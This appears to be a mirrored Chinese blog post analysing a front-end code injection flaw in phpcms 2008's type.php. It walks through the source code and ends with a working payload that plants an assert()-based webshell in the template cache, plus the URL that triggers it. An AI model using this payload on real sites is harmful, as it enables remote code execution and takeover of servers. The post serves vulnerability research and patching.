phpcms 2008 type.php 前台代码注入getshell漏洞分析
source link: https://chybeta.github.io/2018/11/29/phpcms-2008-type-php-%E5%89%8D%E5%8F%B0%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5getshell%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
phpcms 2008 type.php 前台代码注入getshell漏洞分析
phpcms 2008 type.php 前台代码注入getshell漏洞分析
tpye.php中:
<?php
require dirname(__FILE__).'/include/common.inc.php';
if(empty($template)) $template = 'type';
include template('phpcms', $template);
?>
先看一下require
进来的include/common.inc.php
,在这个文件第58行中存在如下代码:
if($_REQUEST)
if(MAGIC_QUOTES_GPC)
$_REQUEST = new_stripslashes($_REQUEST);
if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);
extract($db->escape($_REQUEST), EXTR_SKIP);
$_POST = $db->escape($_POST);
$_GET = $db->escape($_GET);
$_COOKIE = $db->escape($_COOKIE);
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_COOKIE,EXTR_SKIP);
if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);
if($_COOKIE) $db->escape($_COOKIE);
上面这段代码会通过@extract()
将尚未注册的变量进行注册,如果有冲突,不覆盖已有的变量。因此通过这个伪全局可以绕过if(empty($template)) $template = 'type';
这句话的指定,即$template
变量可控。
跟入template
函数,定义在 include/global.func.php:772
function template($module = 'phpcms', $template = 'index', $istag = 0)
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') > @filemtime($compiledtplfile)))
require_once PHPCMS_ROOT.'include/template.func.php';
template_compile($module, $template, $istag);
return $compiledtplfile;
这里会进行一些判断,TPL_REFRESH
表示是否开启模板缓存自动刷新,默认为1, 剩下的用于判断缓存超时。倘若需要更新缓存则进入了template_compile()
函数,根据上一句的require_once
可知定义在 include/template.func.php:2
<?php
function template_compile($module, $template, $istag = 0)
$tplfile = TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html';
$content = @file_get_contents($tplfile);
if($content === false) showmessage("$tplfile is not exists!");
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);
@chmod($compiledtplfile, 0777);
return $strlen;
重点看$content = ($istag || substr($template, 0, 4) == 'tag_')
这一句。由于$template
可控,只要$template
以tag_
开头,就可以使得此处的三元表达式进入到第一个分支中,即相当于:
$content = '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>'
由于$template
未经过滤,被直接拼接到内容中,所以如果指定tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss
,则拼接后的结果为
$content = '<?php function _tag_phpcms_tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>'
可以看到一句话木马已经写入了$content
,之后file_put_contents($compiledtplfile, $content);
将内容写入文件。
回到前面的template_compile
函数中,TPL_CACHEPATH
为常量PHPCMS_ROOT.'data/cache_template/
; 可知 $compiledtplfile
为:
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
```php
$compiledtplfile = 'data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss.tpl.php';
所以payload末尾的../
利用目录穿越使得最后的$compiledtplfile
为'data/cache_template/rss.tpl.php
为了解析不出错,payload末尾处的//
注释了拼接后的其余部分,如上图。
此后访问 http://127.0.0.1/phpcms/data/cache_template/rss.tpl.php?1=phpinfo()
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK